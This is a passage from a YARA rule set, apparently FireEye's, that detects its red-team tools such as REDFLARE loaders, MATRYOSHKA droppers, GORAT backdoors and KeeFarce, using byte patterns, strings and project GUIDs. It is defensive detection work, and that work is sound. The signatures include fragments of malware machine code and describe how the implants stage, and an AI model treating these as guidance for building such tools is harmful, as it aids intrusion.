01 00 85 C0 74 65 48 8B 4C 24 70 8B 5D 98 FF 15 1A 1D 01 00 48 8B 4D 88 FF 15 10 1D 01 00 48 8B 4D 90 FF 15 06 1D 01 00 44 8B C3 33 D2 B9 3A 04 00 00 FF 15 4E 1D 01 00 48 8B D8 48 85 C0 74 2B 48 8B C8 E8 4E 06 00 00 48 85 C0 74 1E BA FF FF FF FF 48 8B C8 FF 15 3B 1D 01 00 48 8B CB FF 15 CA 1C 01 00 B8 01 00 00 00 EB 24 FF 15 DD 1C 01 00 8B D0 48 8D 0D 58 9E 01 00 E8 77 FC FF FF 48 85 FF 74 09 48 8B CF FF 15 A9 1C 01 00 33 C0 48 8B 9C 24 30 01 00 00 48 8B 4D 10 48 33 CC E8 03 07 00 00 4C 8D 9C 24 20 01 00 00 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
		$bytes2 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 2? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 ?? FF ?? ?? ?? ?? ?? 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 9C 24 3? ?1 ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 66 0F 1F 84 ?? ?? ?? ?? ?? 48 8B 4C 24 60 FF ?? ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A? ?1 ?? 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 ?? FF ?? ?? ?? ?? ?? 4C 8D 44 24 78 BA 0A ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 78 48 8D 45 80 41 B9 02 ?? ?? ?? 48 89 44 24 28 45 33 C0 C7 44 24 2? ?2 ?? ?? ?? 41 8D 51 09 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 5? ?1 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 4C 8B 44 24 68 33 D2 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 5? ?1 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 ?? ?? ?? ?? ?? 48 C7 44 24 2? ?8 ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C ?? ?? ?? ?? ?? ?? 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 ?? ?? ?? ?? ?? ?? ?? 44 89 74 24 28 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 70 8B 5D 98 FF ?? ?? ?? ?? ?? 48 8B 4D 88 FF ?? ?? ?? ?? ?? 48 8B 4D 90 FF ?? ?? ?? ?? ?? 44 8B C3 33 D2 B9 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? EB ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF ?? ?? ?? ?? ?? 33 C0 48 8B 9C 24 3? ?1 ?? ?? 48 8B 4D 10 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 2? ?1 ?? ?? 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
		$bytes3 = { 48 89 74 24 10 48 89 7C 24 18 4C 89 74 24 20 55 48 8D 6C 24 E0 48 81 EC 2? ?1 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 33 C4 48 89 45 10 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 60 48 ?? ?? ?? ?? ?? ?? 4C 89 74 24 68 0F 11 45 A0 41 8B FE 4C 89 74 24 70 0F 11 45 B0 0F 11 45 C0 0F 11 45 D0 0F 11 45 E0 0F 11 45 F0 0F 11 45 ?? FF ?? ?? ?? ?? ?? 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 89 9C 24 3? ?1 ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 75 ?? 66 66 0F 1F 84 ?? ?? ?? ?? ?? 48 8B 4C 24 60 FF ?? ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 60 48 8D 44 24 60 45 33 C9 48 89 44 24 20 45 33 C0 BA ?? ?? ?? ?? FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 60 48 89 44 24 70 66 0F 6F 15 6D A? ?1 ?? 48 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 90 F3 0F 6F 40 F0 48 8D 40 40 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 B0 66 0F 6F CA F3 0F 6F 40 C0 66 0F EF C8 F3 0F 7F 48 C0 66 0F 6F CA F3 0F 6F 40 D0 66 0F EF C8 F3 0F 7F 48 D0 F3 0F 6F 40 E0 66 0F EF C2 F3 0F 7F 40 E0 48 83 E9 01 75 ?? FF ?? ?? ?? ?? ?? 4C 8D 44 24 78 BA 0A ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 78 48 8D 45 80 41 B9 02 ?? ?? ?? 48 89 44 24 28 45 33 C0 C7 44 24 2? ?2 ?? ?? ?? 41 8D 51 09 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 33 C9 41 8D 5? ?1 FF ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 4C 8B 44 24 68 33 D2 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 68 48 8B C8 41 8D 5? ?1 FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 30 4C 8D 4C 24 70 4C 89 74 24 28 33 D2 41 ?? ?? ?? ?? ?? 48 C7 44 24 2? ?8 ?? ?? ?? 48 8B CF FF ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D 80 48 8D 45 88 48 89 44 24 50 4C ?? ?? ?? ?? ?? ?? 48 8D 45 A0 48 89 7D 08 48 89 44 24 48 45 33 C9 4C 89 74 24 40 33 D2 4C 89 74 24 38 C7 ?? ?? ?? ?? ?? ?? ?? 44 89 74 24 28 4C 89 74 24 20 FF ?? ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 70 8B 5D 98 FF ?? ?? ?? ?? ?? 48 8B 4D 88 FF ?? ?? ?? ?? ?? 48 8B 4D 90 FF ?? ?? ?? ?? ?? 44 8B C3 33 D2 B9 ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA ?? ?? ?? ?? 48 8B C8 FF ?? ?? ?? ?? ?? 48 8B CB FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? EB ?? FF ?? ?? ?? ?? ?? 8B D0 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF ?? ?? ?? ?? ?? 33 C0 48 8B 9C 24 3? ?1 ?? ?? 48 8B 4D 10 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 2? ?1 ?? ?? 49 8B 73 18 49 8B 7B 20 4D 8B 73 28 49 8B E3 5D C3 }
		$bytes4 = { 48 89 74 24 ?? 48 89 7C 24 ?? 4C 89 74 24 ?? 55 48 8D 6C 24 ?? 48 81 EC 20 01 00 00 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 45 ?? 0F 57 C0 45 33 F6 8B F1 4C 89 74 24 ?? 48 8D 0D ?? ?? ?? ?? 4C 89 74 24 ?? 0F 11 45 ?? 41 8B FE 4C 89 74 24 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 75 ?? 66 66 0F 1F 84 00 ?? ?? 00 00 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 3B C6 74 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 45 33 C0 BA 00 00 00 02 FF D3 85 C0 74 ?? EB ?? 48 8B 44 24 ?? 48 89 44 24 ?? 66 0F 6F 15 ?? ?? 01 00 48 8D 05 ?? ?? ?? ?? B9 C8 05 00 00 90 F3 0F 6F 40 ?? 48 8D 40 ?? 66 0F 6F CA 66 0F EF C8 F3 0F 7F 48 ?? 66 0F 6F CA F3 0F 6F 40 ?? 66 0F EF C8 F3 0F 7F 48 ?? 66 0F 6F CA F3 0F 6F 40 ?? 66 0F EF C8 F3 0F 7F 48 ?? F3 0F 6F 40 ?? 66 0F EF C2 F3 0F 7F 40 ?? 48 83 E9 01 75 ?? FF 15 ?? ?? ?? ?? 4C 8D 44 24 ?? BA 0A 00 00 00 48 8B C8 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 45 ?? 41 B9 02 00 00 00 48 89 44 24 ?? 45 33 C0 C7 44 24 ?? 02 00 00 00 41 8D 51 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 ?? 33 C9 41 8D 50 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B 44 24 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 C0 4C 8D 4C 24 ?? 48 8B C8 41 8D 50 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 4C 89 74 24 ?? 4C 8D 4C 24 ?? 4C 89 74 24 ?? 33 D2 41 B8 00 00 02 00 48 C7 44 24 ?? 08 00 00 00 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8B 4D ?? 48 8D 45 ?? 48 89 44 24 ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 45 ?? 48 89 7D ?? 48 89 44 24 ?? 45 33 C9 4C 89 74 24 ?? 33 D2 4C 89 74 24 ?? C7 44 24 ?? 04 00 08 00 44 89 74 24 ?? 4C 89 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 8B 5D ?? FF 15 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 48 8B 4D ?? FF 15 ?? ?? ?? ?? 44 8B C3 33 D2 B9 3A 04 00 00 FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 74 ?? BA FF FF FF FF 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? B8 01 00 00 00 EB ?? FF 15 ?? ?? ?? ?? 8B D0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF FF 15 ?? ?? ?? ?? 33 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 4D ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 73 ?? 49 8B 7B ?? 4D 8B 73 ?? 49 8B E3 5D C3 }

	condition:
		uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and any of ( $bytes* )
}

rule APT_Loader_Win64_REDFLARE_1
{
	meta:
		date = "2020-11-27"
		modified = "2020-11-27"
		md5 = "f20824fa6e5c81e3804419f108445368"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "dc162f26-66d3-5359-b1d7-ef2208b359e2"

	strings:
		$alloc_n_load = { 41 B9 40 00 00 00 41 B8 00 30 00 00 33 C9 [1-10] FF 50 [4-80] F3 A4 [30-120] 48 6B C9 28 [3-20] 48 6B C9 28 }
		$const_values = { 0F B6 ?? 83 C? 20 83 F? 6D [2-20] 83 C? 20 83 F? 7A }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule APT_Loader_Raw64_REDFLARE_1
{
	meta:
		date = "2020-11-27"
		modified = "2020-11-27"
		md5 = "5e14f77f85fd9a5be46e7f04b8a144f5"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "8e937f6a-404f-53bd-9de2-ed63b1cf48b2"

	strings:
		$load = { EB ?? 58 48 8B 10 4C 8B 48 ?? 48 8B C8 [1-10] 48 83 C1 ?? 48 03 D1 FF }

	condition:
		( uint16( 0 ) != 0x5A4D ) and all of them
}

rule HackTool_MSIL_SHARPZEROLOGON_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public 'sharpzerologon' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "51f22eee-fb96-55b0-8c02-1a0e9910a93e"

	strings:
		$typelibguid0 = "15ce9a3c-4609-4184-87b2-e29fc5e2b770" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HackTool_MSIL_CoreHound_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CoreHound' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "8c914b34-3e3d-53ae-a5e4-9dbfdff45a24"

	strings:
		$typelibguid0 = "1fff2aee-a540-4613-94ee-4f208b30c599" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule Loader_MSIL_NETAssemblyInject_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'NET-Assembly-Inject' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "62a7dc4c-678b-5f13-9661-4679eafe1c72"

	strings:
		$typelibguid0 = "af09c8c3-b271-4c6c-8f48-d5f0e1d1cac6" ascii nocase wide
		$typelibguid1 = "c5e56650-dfb0-4cd9-8d06-51defdad5da1" ascii nocase wide
		$typelibguid2 = "e8fa7329-8074-4675-9588-d73f88a8b5b6" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule Hunting_GadgetToJScript_1
{
	meta:
		description = "This rule is looking for B64 offsets of LazyNetToJscriptLoader which is a namespace specific to the internal version of the GadgetToJScript tooling."
		md5 = "7af24305a409a2b8f83ece27bb0f7900"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "76c932e0-55b3-56ef-bab6-eb6997b51ee7"

	strings:
		$s1 = "GF6eU5ldFRvSnNjcmlwdExvYWRl"
		$s2 = "henlOZXRUb0pzY3JpcHRMb2Fk"
		$s3 = "YXp5TmV0VG9Kc2NyaXB0TG9hZGV"

	condition:
		any of them
}

rule Trojan_MSIL_GORAT_Plugin_DOTNET_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'RedFlare - Plugin - .NET' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "faa73d64-4bb1-5c06-a3a5-1f1aa99ea932"

	strings:
		$typelibguid0 = "cd9407d0-fc8d-41ed-832d-da94daa3e064" ascii nocase wide
		$typelibguid1 = "fc3daedf-1d01-4490-8032-b978079d8c2d" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Dropper_Win64_MATRYOSHKA_1
{
	meta:
		date = "2020-12-02"
		modified = "2020-12-02"
		description = "matryoshka_dropper.rs"
		md5 = "edcd58ba5b1b87705e95089002312281"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "1406aafd-6217-51ef-b3af-107ee88f9c99"

	strings:
		$sb1 = { 8D 8D [4] E8 [4] 49 89 D0 C6 [2-6] 01 C6 [2-6] 01 [0-8] C7 44 24 ?? 0E 00 00 00 4C 8D 0D [4] 48 8D 8D [4] 48 89 C2 E8 [4] C6 [2-6] 01 C6 [2-6] 01 48 89 E9 48 8D 95 [4] E8 [4] 83 [2] 01 0F 8? [4] 48 01 F3 48 29 F7 48 [2] 08 48 89 85 [4] C6 [2-6] 01 C6 [2-6] 01 C6 [2-6] 01 48 8D 8D [4] 48 89 DA 49 89 F8 E8 }
		$sb2 = { 0F 29 45 ?? 48 C7 45 ?? 00 00 00 00 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 0F 29 45 ?? 48 C7 45 ?? 00 00 00 00 C7 45 ?? 68 00 00 00 48 8B [2] 48 8D [2] 48 89 [3] 48 89 [3] 0F 11 44 24 ?? C7 44 24 ?? 08 00 00 0C C7 44 24 ?? 00 00 00 00 31 ?? 48 89 ?? 31 ?? 45 31 ?? 45 31 ?? E8 [4] 83 F8 01 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule APT_HackTool_MSIL_SHARPGOPHER_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpgopher' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "cc8eb9cd-9a51-5fab-b0a4-247baaa69dd7"

	strings:
		$typelibguid0 = "83413a89-7f5f-4c3f-805d-f4692bc60173" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HackTool_MSIL_KeeFarce_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'KeeFarce' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "c17add0c-e09f-5ced-a4e1-bf60afad4725"

	strings:
		$typelibguid0 = "17589ea6-fcc9-44bb-92ad-d5b3eea6af03" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Backdoor_Win_GORAT_1
{
	meta:
		description = "This detects if a sample is less than 50KB and has a number of strings found in the Gorat shellcode (stage0 loader). The loader contains an embedded DLL (stage0.dll) that contains a number of unique strings. The 'Cookie' string found in this loader is important as this cookie is needed by the C2 server to download the Gorat implant (stage1 payload)."
		md5 = "66cdaa156e4d372cfa3dea0137850d20"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "5ac84cf1-49fb-533d-b211-b1a92239063b"

	strings:
		$s1 = "httpComms.dll" ascii wide
		$s2 = "Cookie: SID1=%s" ascii wide
		$s3 = "Global\\" ascii wide
		$s4 = "stage0.dll" ascii wide
		$s5 = "runCommand" ascii wide
		$s6 = "getData" ascii wide
		$s7 = "initialize" ascii wide
		$s8 = "Windows NT %d.%d;" ascii wide
		$s9 = "!This program cannot be run in DOS mode." ascii wide

	condition:
		filesize < 50KB and all of them
}

rule APT_Dropper_Win_MATRYOSHKA_1
{
	meta:
		date = "2020-12-02"
		modified = "2020-12-02"
		description = "matryoshka_dropper.rs"
		md5 = "edcd58ba5b1b87705e95089002312281"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "7fd305c7-0b1b-5d91-b968-7f1fb0a8ae47"

	strings:
		$s1 = "\x00matryoshka.exe\x00"
		$s2 = "\x00Unable to write data\x00"
		$s3 = "\x00Error while spawning process. NTStatus: \x0a\x00"
		$s4 = "\x00.execmdstart/Cfailed to execute process\x00"

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule Loader_Win_Generic_20
{
	meta:
		date = "2020-12-02"
		modified = "2020-12-02"
		md5 = "5125979110847d35a338caac6bff2aa8"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "d1d3eff8-d12e-53f6-8c30-06ecedaf3f49"

	strings:
		$s0 = { 8B [1-16] 89 [1-16] E8 [4-32] F3 A4 [0-16] 89 [1-8] E8 }
		$s2 = { 83 EC [4-24] 00 10 00 00 [4-24] C7 44 24 ?? ?? 00 00 00 [0-8] FF 15 [4-24] 89 [1-4] 89 [1-4] 89 [1-8] FF 15 [4-16] 3? ?? 7? [4-24] 20 00 00 00 [4-24] FF 15 [4-32] F3 A5 }
		$si1 = "VirtualProtect" fullword
		$si2 = "malloc" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_Loader_Win32_PGF_2
{
	meta:
		date = "2020-11-25"
		modified = "2020-11-25"
		description = "base dlls: /lib/payload/techniques/dllmain/"
		md5 = "04eb45f8546e052fe348fda2425b058c"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "e11a626b-ce91-5f6c-a514-9a8a02a29cbd"

	strings:
		$sb1 = { 6A ?? FF 15 [4-16] 8A ?? 04 [0-16] 8B ?? 1C [0-64] 0F 10 ?? 66 0F EF C8 0F 11 [0-32] 30 [2] 8D [2] 4? 83 [2] 7? }
		$sb2 = { 8B ?? 08 [0-16] 6A 40 68 00 30 00 00 5? 6A 00 [0-32] FF 15 [4-32] 5? [0-16] E8 [4-64] C1 ?? 04 [0-32] 8A [2] 3? [2] 4? 3? ?? 24 ?? 7? }
		$sb3 = { 8B ?? 3C [0-16] 03 [1-64] 0F B? ?? 14 [0-32] 83 ?? 18 [0-32] 66 3? ?? 06 [4-32] 68 [4] 5? FF 15 [4-16] 85 C0 [2-32] 83 ?? 28 0F B? ?? 06 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them
}

rule APT_HackTool_MSIL_REDTEAMMATERIALS_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'red_team_materials' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "272cd3e9-884a-566b-ae90-4a79ee726a8d"

	strings:
		$typelibguid0 = "86c95a99-a2d6-4ebe-ad5f-9885b06eab12" ascii nocase wide
		$typelibguid1 = "e06f1411-c7f8-4538-bbb9-46c928732245" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Trojan_Win_REDFLARE_7
{
	meta:
		date = "2020-12-02"
		modified = "2020-12-02"
		md5 = "e7beece34bdf67cbb8297833c5953669, 8025bcbe3cc81fc19021ad0fbc11cf9b"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "f891e477-9ff2-57be-9ca5-dd87d9baee29"

	strings:
		$1 = "initialize" fullword
		$2 = "getData" fullword
		$3 = "putData" fullword
		$4 = "fini" fullword
		$5 = "NamedPipe"
		$named_pipe = { 88 13 00 00 [1-8] E8 03 00 00 [20-60] 00 00 00 00 [1-8] 00 00 00 00 [1-40] ( 6A 00 6A 00 6A 03 6A 00 6A 00 68 | 00 00 00 00 [1-6] 00 00 00 00 [1-6] 03 00 00 00 45 33 C? 45 33 C? BA ) 00 00 00 C0 [2-10] FF 15 [4-30] FF 15 [4-7] E7 00 00 00 [4-40] FF 15 [4] 85 C0 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_Trojan_Win_REDFLARE_8
{
	meta:
		date = "2020-12-02"
		modified = "2020-12-02"
		md5 = "9c8eb908b8c1cda46e844c24f65d9370, 9e85713d615bda23785faf660c1b872c"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
